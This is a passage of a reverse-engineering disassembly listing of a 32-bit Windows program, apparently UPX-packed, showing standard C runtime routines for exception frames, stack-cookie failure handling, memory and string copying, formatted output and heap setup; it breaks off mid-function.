; =============== S U B R O U T I N E =======================================
sub_40C4A0 proc near ; CODE XREF: sub_401652+7p
; sub_4019F2+7p ...
arg_0 = byte ptr 4
push eax
push large dword ptr fs:0
lea eax, [esp+8+arg_0]
sub esp, [esp+0Ch]
push ebx
push esi
push edi
mov [eax], ebp
mov ebp, eax
mov eax, dword_42A034
xor eax, ebp
push eax
mov [ebp-10h], esp
push dword ptr [ebp-4]
mov dword ptr [ebp-4], 0FFFFFFFFh
lea eax, [ebp-0Ch]
mov large fs:0, eax
retn
sub_40C4A0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40C4D6 proc near ; CODE XREF: sub_401304+7p
; sub_4080FF+7p ...
arg_0 = byte ptr 4
push eax
push large dword ptr fs:0
lea eax, [esp+8+arg_0]
sub esp, [esp+0Ch]
push ebx
push esi
push edi
mov [eax], ebp
mov ebp, eax
mov eax, dword_42A034
xor eax, ebp
push eax
mov [ebp-10h], eax
push dword ptr [ebp-4]
mov dword ptr [ebp-4], 0FFFFFFFFh
lea eax, [ebp-0Ch]
mov large fs:0, eax
retn
sub_40C4D6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40C50C proc near ; CODE XREF: sub_401652:loc_4016CAp
; sub_4019F2:loc_401B5Dp ...
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
retn
sub_40C50C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40C520 proc near ; CODE XREF: sub_401304+111p
; sub_4080FF:loc_408291p ...
mov ecx, [ebp-10h]
xor ecx, ebp
call sub_40AC1C
jmp sub_40C50C
sub_40C520 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C52F proc near ; CODE XREF: sub_40AC1C:loc_40AC26j
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = dword ptr -320h
arg_0 = byte ptr 8
mov edi, edi
push ebp
mov ebp, esp
sub esp, 328h
mov dword_42E508, eax
mov dword_42E504, ecx
mov dword_42E500, edx
mov dword_42E4FC, ebx
mov dword_42E4F8, esi
mov dword_42E4F4, edi
mov word_42E520, ss
mov word_42E514, cs
mov word_42E4F0, ds
mov word_42E4EC, es
mov word_42E4E8, fs
mov word_42E4E4, gs
pushf
pop dword_42E518
mov eax, [ebp+0]
mov dword_42E50C, eax
mov eax, [ebp+4]
mov dword_42E510, eax
lea eax, [ebp+arg_0]
mov dword_42E51C, eax
mov eax, [ebp+var_320]
mov dword_42E458, 10001h
mov eax, dword_42E510
mov dword_42E40C, eax
mov dword_42E400, 0C0000409h
mov dword_42E404, 1
mov eax, dword_42A034
mov [ebp+var_328], eax
mov eax, dword_42A038
mov [ebp+var_324], eax
call dword_41D1A8 ; IsDebuggerPresent
mov dword_42E450, eax
push 1
call sub_40E0C0
pop ecx
push 0
call dword_41D1AC ; SetUnhandledExceptionFilter
push offset off_41D5AC
call dword_41D1B0 ; UnhandledExceptionFilter
cmp dword_42E450, 0
jnz short loc_40C621
push 1
call sub_40E0C0
pop ecx
loc_40C621: ; CODE XREF: sub_40C52F+E8j
push 0C0000409h
call dword_41D214 ; GetCurrentProcess
push eax
call dword_41D1B4 ; TerminateProcess
leave
retn
sub_40C52F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C635 proc near ; CODE XREF: sub_40C8AB+B6p
; sub_40C8AB+D3p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_4]
push esi
call sub_411ACB
mov [ebp+arg_4], eax
mov eax, [esi+0Ch]
pop ecx
test al, 82h
jnz short loc_40C667
call sub_40C862
mov dword ptr [eax], 9
loc_40C65B: ; CODE XREF: sub_40C635+41j
or dword ptr [esi+0Ch], 20h
or eax, 0FFFFFFFFh
jmp loc_40C796
; ---------------------------------------------------------------------------
loc_40C667: ; CODE XREF: sub_40C635+19j
test al, 40h
jz short loc_40C678
call sub_40C862
mov dword ptr [eax], 22h
jmp short loc_40C65B
; ---------------------------------------------------------------------------
loc_40C678: ; CODE XREF: sub_40C635+34j
push ebx
xor ebx, ebx
test al, 1
jz short loc_40C695
mov [esi+4], ebx
test al, 10h
jz loc_40C711
mov ecx, [esi+8]
and eax, 0FFFFFFFEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_40C695: ; CODE XREF: sub_40C635+48j
mov eax, [esi+0Ch]
and eax, 0FFFFFFEFh
or eax, 2
mov [esi+0Ch], eax
mov [esi+4], ebx
mov [ebp+var_4], ebx
test eax, 10Ch
jnz short loc_40C6DA
call sub_411916
add eax, 20h
cmp esi, eax
jz short loc_40C6C6
call sub_411916
add eax, 40h
cmp esi, eax
jnz short loc_40C6D3
loc_40C6C6: ; CODE XREF: sub_40C635+83j
push [ebp+arg_4]
call sub_4118B2
pop ecx
test eax, eax
jnz short loc_40C6DA
loc_40C6D3: ; CODE XREF: sub_40C635+8Fj
push esi
call sub_411869
pop ecx
loc_40C6DA: ; CODE XREF: sub_40C635+77j
; sub_40C635+9Cj
test dword ptr [esi+0Ch], 108h
push edi
jz loc_40C768
mov eax, [esi+8]
mov edi, [esi]
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
sub edi, eax
dec ecx
cmp edi, ebx
mov [esi+4], ecx
jle short loc_40C71C
push edi
push eax
push [ebp+arg_4]
call sub_41178D
add esp, 0Ch
mov [ebp+var_4], eax
jmp short loc_40C75E
; ---------------------------------------------------------------------------
loc_40C711: ; CODE XREF: sub_40C635+4Fj
or eax, 20h
mov [esi+0Ch], eax
or eax, 0FFFFFFFFh
jmp short loc_40C795
; ---------------------------------------------------------------------------
loc_40C71C: ; CODE XREF: sub_40C635+C8j
mov ecx, [ebp+arg_4]
cmp ecx, 0FFFFFFFFh
jz short loc_40C73F
cmp ecx, 0FFFFFFFEh
jz short loc_40C73F
mov eax, ecx
and eax, 1Fh
mov edx, ecx
sar edx, 5
shl eax, 6
add eax, dword_430160[edx*4]
jmp short loc_40C744
; ---------------------------------------------------------------------------
loc_40C73F: ; CODE XREF: sub_40C635+EDj
; sub_40C635+F2j
mov eax, offset dword_42A3E0
loc_40C744: ; CODE XREF: sub_40C635+108j
test byte ptr [eax+4], 20h
jz short loc_40C75E
push 2
push ebx
push ebx
push ecx
call sub_410F41
and eax, edx
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40C783
loc_40C75E: ; CODE XREF: sub_40C635+DAj
; sub_40C635+113j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_40C77E
; ---------------------------------------------------------------------------
loc_40C768: ; CODE XREF: sub_40C635+ADj
xor edi, edi
inc edi
push edi
lea eax, [ebp+arg_0]
push eax
push [ebp+arg_4]
call sub_41178D
add esp, 0Ch
mov [ebp+var_4], eax
loc_40C77E: ; CODE XREF: sub_40C635+131j
cmp [ebp+var_4], edi
jz short loc_40C78C
loc_40C783: ; CODE XREF: sub_40C635+127j
or dword ptr [esi+0Ch], 20h
or eax, 0FFFFFFFFh
jmp short loc_40C794
; ---------------------------------------------------------------------------
loc_40C78C: ; CODE XREF: sub_40C635+14Cj
mov eax, [ebp+arg_0]
and eax, 0FFh
loc_40C794: ; CODE XREF: sub_40C635+155j
pop edi
loc_40C795: ; CODE XREF: sub_40C635+E5j
pop ebx
loc_40C796: ; CODE XREF: sub_40C635+2Dj
pop esi
leave
retn
sub_40C635 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C799 proc near ; CODE XREF: sub_40F0F5+10p
; sub_411DC7+Fp ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
mov esi, ecx
mov byte ptr [esi+0Ch], 0
test eax, eax
jnz short loc_40C80F
call sub_40E38F
mov [esi+8], eax
mov ecx, [eax+6Ch]
mov [esi], ecx
mov ecx, [eax+68h]
mov [esi+4], ecx
mov ecx, [esi]
cmp ecx, off_42ACD8
jz short loc_40C7DB
mov ecx, dword_42ABF4
test [eax+70h], ecx
jnz short loc_40C7DB
call sub_41248F
mov [esi], eax
loc_40C7DB: ; CODE XREF: sub_40C799+2Ej
; sub_40C799+39j
mov eax, [esi+4]
cmp eax, dword_42AAF8
jz short loc_40C7FC
mov eax, [esi+8]
mov ecx, dword_42ABF4
test [eax+70h], ecx
jnz short loc_40C7FC
call sub_411D23
mov [esi+4], eax
loc_40C7FC: ; CODE XREF: sub_40C799+4Bj
; sub_40C799+59j
mov eax, [esi+8]
test byte ptr [eax+70h], 2
jnz short loc_40C819
or dword ptr [eax+70h], 2
mov byte ptr [esi+0Ch], 1
jmp short loc_40C819
; ---------------------------------------------------------------------------
loc_40C80F: ; CODE XREF: sub_40C799+11j
mov ecx, [eax]
mov [esi], ecx
mov eax, [eax+4]
mov [esi+4], eax
loc_40C819: ; CODE XREF: sub_40C799+6Aj
; sub_40C799+74j
mov eax, esi
pop esi
pop ebp
retn 4
sub_40C799 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C820 proc near ; CODE XREF: sub_40ADC8+80p
; sub_40B8A1+182p ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor ecx, ecx
loc_40C82A: ; CODE XREF: sub_40C820+17j
cmp eax, dword_42A040[ecx*8]
jz short loc_40C846
inc ecx
cmp ecx, 2Dh
jb short loc_40C82A
lea ecx, [eax-13h]
cmp ecx, 11h
ja short loc_40C84F
push 0Dh
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40C846: ; CODE XREF: sub_40C820+11j
mov eax, dword_42A044[ecx*8]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40C84F: ; CODE XREF: sub_40C820+1Fj
add eax, 0FFFFFF44h
push 0Eh
pop ecx
cmp ecx, eax
sbb eax, eax
and eax, ecx
add eax, 8
pop ebp
retn
sub_40C820 endp
; =============== S U B R O U T I N E =======================================
sub_40C862 proc near ; CODE XREF: sub_40AC49:loc_40AC5Ep
; sub_40AC49+3Ap ...
call sub_40E316
test eax, eax
jnz short loc_40C871
mov eax, offset dword_42A1A8
retn
; ---------------------------------------------------------------------------
loc_40C871: ; CODE XREF: sub_40C862+7j
add eax, 8
retn
sub_40C862 endp
; =============== S U B R O U T I N E =======================================
sub_40C875 proc near ; CODE XREF: sub_40C888+6p
; sub_410F41+1Dp ...
call sub_40E316
test eax, eax
jnz short loc_40C884
mov eax, offset dword_42A1AC
retn
; ---------------------------------------------------------------------------
loc_40C884: ; CODE XREF: sub_40C875+7j
add eax, 0Ch
retn
sub_40C875 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C888 proc near ; CODE XREF: sub_40B866+21p
; sub_410EBC+5Ap ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push esi
call sub_40C875
mov ecx, [ebp+arg_0]
push ecx
mov [eax], ecx
call sub_40C820
pop ecx
mov esi, eax
call sub_40C862
mov [eax], esi
pop esi
pop ebp
retn
sub_40C888 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C8AB proc near ; CODE XREF: sub_40C9A3+56p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jnz short loc_40C8DB
call sub_40C862
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
or eax, 0FFFFFFFFh
jmp loc_40C9A0
; ---------------------------------------------------------------------------
loc_40C8DB: ; CODE XREF: sub_40C8AB+Ej
push esi
mov esi, [ebp+arg_4]
push edi
mov edi, [ebp+arg_8]
cmp edi, ebx
jz short loc_40C90B
cmp esi, ebx
jnz short loc_40C90B
call sub_40C862
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
or eax, 0FFFFFFFFh
jmp loc_40C99E
; ---------------------------------------------------------------------------
loc_40C90B: ; CODE XREF: sub_40C8AB+3Aj
; sub_40C8AB+3Ej
mov [ebp+var_14], 42h
mov [ebp+var_18], esi
mov [ebp+var_20], esi
cmp edi, 3FFFFFFFh
jbe short loc_40C929
mov [ebp+var_1C], 7FFFFFFFh
jmp short loc_40C92F
; ---------------------------------------------------------------------------
loc_40C929: ; CODE XREF: sub_40C8AB+73j
lea eax, [edi+edi]
mov [ebp+var_1C], eax
loc_40C92F: ; CODE XREF: sub_40C8AB+7Cj
push [ebp+arg_14]
lea eax, [ebp+var_20]
push [ebp+arg_10]
push [ebp+arg_C]
push eax
call [ebp+arg_0]
add esp, 10h
mov [ebp+arg_C], eax
cmp esi, ebx
jz short loc_40C99E
cmp eax, ebx
jl short loc_40C98F
dec [ebp+var_1C]
js short loc_40C95C
mov eax, [ebp+var_20]
mov [eax], bl
inc [ebp+var_20]
jmp short loc_40C96D
; ---------------------------------------------------------------------------
loc_40C95C: ; CODE XREF: sub_40C8AB+A5j
lea eax, [ebp+var_20]
push eax
push ebx
call sub_40C635
pop ecx
pop ecx
cmp eax, 0FFFFFFFFh
jz short loc_40C98F
loc_40C96D: ; CODE XREF: sub_40C8AB+AFj
dec [ebp+var_1C]
js short loc_40C979
mov eax, [ebp+var_20]
mov [eax], bl
jmp short loc_40C98A
; ---------------------------------------------------------------------------
loc_40C979: ; CODE XREF: sub_40C8AB+C5j
lea eax, [ebp+var_20]
push eax
push ebx
call sub_40C635
pop ecx
pop ecx
cmp eax, 0FFFFFFFFh
jz short loc_40C98F
loc_40C98A: ; CODE XREF: sub_40C8AB+CCj
mov eax, [ebp+arg_C]
jmp short loc_40C99E
; ---------------------------------------------------------------------------
loc_40C98F: ; CODE XREF: sub_40C8AB+A0j
; sub_40C8AB+C0j ...
xor eax, eax
cmp [ebp+var_1C], ebx
mov [esi+edi*2-2], ax
setnl al
dec eax
dec eax
loc_40C99E: ; CODE XREF: sub_40C8AB+5Bj
; sub_40C8AB+9Cj ...
pop edi
pop esi
loc_40C9A0: ; CODE XREF: sub_40C8AB+2Bj
pop ebx
leave
retn
sub_40C8AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C9A3 proc near ; CODE XREF: sub_40AC2B+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp [ebp+arg_8], esi
jnz short loc_40C9CD
call sub_40C862
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
or eax, 0FFFFFFFFh
jmp short loc_40CA2B
; ---------------------------------------------------------------------------
loc_40C9CD: ; CODE XREF: sub_40C9A3+Bj
push edi
mov edi, [ebp+arg_0]
cmp edi, esi
jz short loc_40C9DA
cmp [ebp+arg_4], esi
ja short loc_40C9E7
loc_40C9DA: ; CODE XREF: sub_40C9A3+30j
call sub_40C862
mov dword ptr [eax], 16h
jmp short loc_40CA1A
; ---------------------------------------------------------------------------
loc_40C9E7: ; CODE XREF: sub_40C9A3+35j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push edi
push offset sub_4128E7
call sub_40C8AB
add esp, 18h
cmp eax, esi
jge short loc_40CA0A
xor ecx, ecx
mov [edi], cx
loc_40CA0A: ; CODE XREF: sub_40C9A3+60j
cmp eax, 0FFFFFFFEh
jnz short loc_40CA2A
call sub_40C862
mov dword ptr [eax], 22h
loc_40CA1A: ; CODE XREF: sub_40C9A3+42j
push esi
push esi
push esi
push esi
push esi
call sub_40B255
add esp, 14h
or eax, 0FFFFFFFFh
loc_40CA2A: ; CODE XREF: sub_40C9A3+6Aj
pop edi
loc_40CA2B: ; CODE XREF: sub_40C9A3+28j
pop esi
pop ebp
retn
sub_40C9A3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA30 proc near ; CODE XREF: sub_40AC49+4Fp
; sub_40D00C+2DCp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_40CA50
cmp edi, eax
jb loc_40CBF4
loc_40CA50: ; CODE XREF: sub_40CA30+16j
cmp ecx, 100h
jb short loc_40CA77
cmp dword_430144, 0
jz short loc_40CA77
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jnz short loc_40CA77
pop esi
pop edi
pop ebp
jmp sub_41350E
; ---------------------------------------------------------------------------
loc_40CA77: ; CODE XREF: sub_40CA30+26j
; sub_40CA30+2Fj ...
test edi, 3
jnz short loc_40CA94
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_40CAB4
rep movsd
jmp off_40CBA4[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_40CA94: ; CODE XREF: sub_40CA30+4Dj
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_40CAAC
and eax, 3
add ecx, eax
jmp dword ptr loc_40CAB4+4[eax*4]
; ---------------------------------------------------------------------------
loc_40CAAC: ; CODE XREF: sub_40CA30+6Ej
jmp dword ptr loc_40CBB4[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_40CAB4: ; CODE XREF: sub_40CA30+58j
; sub_40CA30+B6j ...
jmp off_40CB38[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_40CAC8
dd offset loc_40CAF4
dd offset loc_40CB18
; ---------------------------------------------------------------------------
loc_40CAC8: ; DATA XREF: sub_40CA30+8Co
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_40CAB4
rep movsd
jmp off_40CBA4[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_40CAF4: ; DATA XREF: sub_40CA30+90o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_40CAB4
rep movsd
jmp off_40CBA4[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_40CB18: ; DATA XREF: sub_40CA30+94o
and edx, ecx
mov al, [esi]
mov [edi], al
add esi, 1
shr ecx, 2
add edi, 1
cmp ecx, 8
jb short loc_40CAB4
rep movsd
jmp off_40CBA4[edx*4]
; ---------------------------------------------------------------------------
align 4
off_40CB38 dd offset loc_40CB9B ; DATA XREF: sub_40CA30:loc_40CAB4r
dd offset loc_40CB88
dd offset loc_40CB80
dd offset loc_40CB78
dd offset loc_40CB70
dd offset loc_40CB68
dd offset loc_40CB60
dd offset loc_40CB58
; ---------------------------------------------------------------------------
loc_40CB58: ; CODE XREF: sub_40CA30:loc_40CAB4j
; DATA XREF: sub_40CA30+124o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_40CB60: ; CODE XREF: sub_40CA30:loc_40CAB4j
; DATA XREF: sub_40CA30+120o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_40CB68: ; CODE XREF: sub_40CA30:loc_40CAB4j
; DATA XREF: sub_40CA30+11Co
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_40CB70: ; CODE XREF: sub_40CA30:loc_40CAB4j
; DATA XREF: sub_40CA30+118o
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_40CB78: ; CODE XREF: sub_40CA30:loc_40CAB4j
; DATA XREF: sub_40CA30+114o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_40CB80: ; CODE XREF: sub_40CA30:loc_40CAB4j
; DATA XREF: sub_40CA30+110o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_40CB88: ; CODE XREF: sub_40CA30:loc_40CAB4j
; DATA XREF: sub_40CA30+10Co
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_40CB9B: ; CODE XREF: sub_40CA30:loc_40CAB4j
; DATA XREF: sub_40CA30:off_40CB38o
jmp off_40CBA4[edx*4]
; ---------------------------------------------------------------------------
align 4
off_40CBA4 dd offset loc_40CBB4 ; DATA XREF: sub_40CA30+5Cr
; sub_40CA30+BAr ...
dd offset loc_40CBBC
dd offset loc_40CBC8
dd offset loc_40CBDC
; ---------------------------------------------------------------------------
loc_40CBB4: ; CODE XREF: sub_40CA30+5Cj
; sub_40CA30+BAj ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40CBBC: ; CODE XREF: sub_40CA30+5Cj
; sub_40CA30+BAj ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40CBC8: ; CODE XREF: sub_40CA30+5Cj
; sub_40CA30+BAj ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40CBDC: ; CODE XREF: sub_40CA30+5Cj
; sub_40CA30+BAj ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40CBF4: ; CODE XREF: sub_40CA30+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_40CC28
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_40CC1C
std
rep movsd
cld
jmp off_40CD40[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_40CC1C: ; CODE XREF: sub_40CA30+1DDj
; sub_40CA30+238j ...
neg ecx
jmp off_40CCF0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_40CC28: ; CODE XREF: sub_40CA30+1D2j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_40CC40
and eax, 3
sub ecx, eax
jmp dword ptr loc_40CC40+4[eax*4]
; ---------------------------------------------------------------------------
loc_40CC40: ; CODE XREF: sub_40CA30+202j
; DATA XREF: sub_40CA30+209r
jmp off_40CD40[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_40CC54
dd offset loc_40CC78
dd offset loc_40CCA0
; ---------------------------------------------------------------------------
loc_40CC54: ; DATA XREF: sub_40CA30+218o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
sub esi, 1
shr ecx, 2
sub edi, 1
cmp ecx, 8
jb short loc_40CC1C
std
rep movsd
cld
jmp off_40CD40[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_40CC78: ; DATA XREF: sub_40CA30+21Co
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_40CC1C
std
rep movsd
cld
jmp off_40CD40[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_40CCA0: ; DATA XREF: sub_40CA30+220o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_40CC1C
std
rep movsd
cld
jmp off_40CD40[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_40CCF4
dd offset loc_40CCFC
dd offset loc_40CD04
dd offset loc_40CD0C
dd offset loc_40CD14
dd offset loc_40CD1C
dd offset loc_40CD24
off_40CCF0 dd offset loc_40CD37 ; DATA XREF: sub_40CA30+1EEr
; ---------------------------------------------------------------------------
loc_40CCF4: ; DATA XREF: sub_40CA30+2A4o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_40CCFC: ; DATA XREF: sub_40CA30+2A8o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_40CD04: ; DATA XREF: sub_40CA30+2ACo
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_40CD0C: ; DATA XREF: sub_40CA30+2B0o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_40CD14: ; DATA XREF: sub_40CA30+2B4o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_40CD1C: ; DATA XREF: sub_40CA30+2B8o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_40CD24: ; DATA XREF: sub_40CA30+2BCo
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_40CD37: ; CODE XREF: sub_40CA30+1EEj
; DATA XREF: sub_40CA30:off_40CCF0o
jmp off_40CD40[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_40CD40 dd offset loc_40CD50 ; DATA XREF: sub_40CA30+1E3r
; sub_40CA30:loc_40CC40r ...
dd offset loc_40CD58
dd offset loc_40CD68
dd offset loc_40CD7C
; ---------------------------------------------------------------------------
loc_40CD50: ; CODE XREF: sub_40CA30+1E3j
; sub_40CA30:loc_40CC40j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40CD58: ; CODE XREF: sub_40CA30+1E3j
; sub_40CA30:loc_40CC40j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40CD68: ; CODE XREF: sub_40CA30+1E3j
; sub_40CA30:loc_40CC40j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40CD7C: ; CODE XREF: sub_40CA30+1E3j
; sub_40CA30:loc_40CC40j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_40CA30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD95 proc near ; CODE XREF: sub_40ACB7+35p
; sub_40AD27+41p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
push ebx
xor ebx, ebx
push esi
push edi
cmp ecx, ebx
jz short loc_40CDAD
mov edi, [ebp+arg_4]
cmp edi, ebx
ja short loc_40CDC8
loc_40CDAD: ; CODE XREF: sub_40CD95+Fj
; sub_40CD95+3Cj
call sub_40C862
push 16h
pop esi
mov [eax], esi
loc_40CDB7: ; CODE XREF: sub_40CD95+5Fj
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40B255
add esp, 14h
mov eax, esi
jmp short loc_40CDF8
; ---------------------------------------------------------------------------
loc_40CDC8: ; CODE XREF: sub_40CD95+16j
mov esi, [ebp+arg_8]
cmp esi, ebx
jnz short loc_40CDD3
mov [ecx], bl
jmp short loc_40CDAD
; ---------------------------------------------------------------------------
loc_40CDD3: ; CODE XREF: sub_40CD95+38j
mov edx, ecx
loc_40CDD5: ; CODE XREF: sub_40CD95+4Bj
mov al, [esi]
mov [edx], al
inc edx
inc esi
cmp al, bl
jz short loc_40CDE2
dec edi
jnz short loc_40CDD5
loc_40CDE2: ; CODE XREF: sub_40CD95+48j
cmp edi, ebx
jnz short loc_40CDF6
mov [ecx], bl
call sub_40C862
push 22h
pop ecx
mov [eax], ecx
mov esi, ecx
jmp short loc_40CDB7
; ---------------------------------------------------------------------------
loc_40CDF6: ; CODE XREF: sub_40CD95+4Fj
xor eax, eax
loc_40CDF8: ; CODE XREF: sub_40CD95+31j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40CD95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CDFD proc near ; CODE XREF: UPX0:0040BC25p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
xor eax, eax
cmp [ebp+arg_0], eax
push 0
setz al
push 1000h
push eax
call dword_41D18C ; HeapCreate
mov dword_42E724, eax
test eax, eax
jnz short loc_40CE23
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40CE23: ; CODE XREF: sub_40CDFD+22j
xor eax, eax
inc eax
mov dword_430290, eax
pop ebp
retn
sub_40CDFD endp
; =============== S U B R O U T I N E =======================================
sub_40CE2D proc near ; CODE XREF: sub_40E4D8+115p
mov edi, edi
push esi
push edi
xor esi, esi
mov edi, offset dword_42E728
loc_40CE38: ; CODE XREF: sub_40CE2D+37j
cmp dword_42A1BC[esi*8], 1
jnz short loc_40CE60
lea eax, ds:42A1B8h[esi*8]
mov [eax], edi
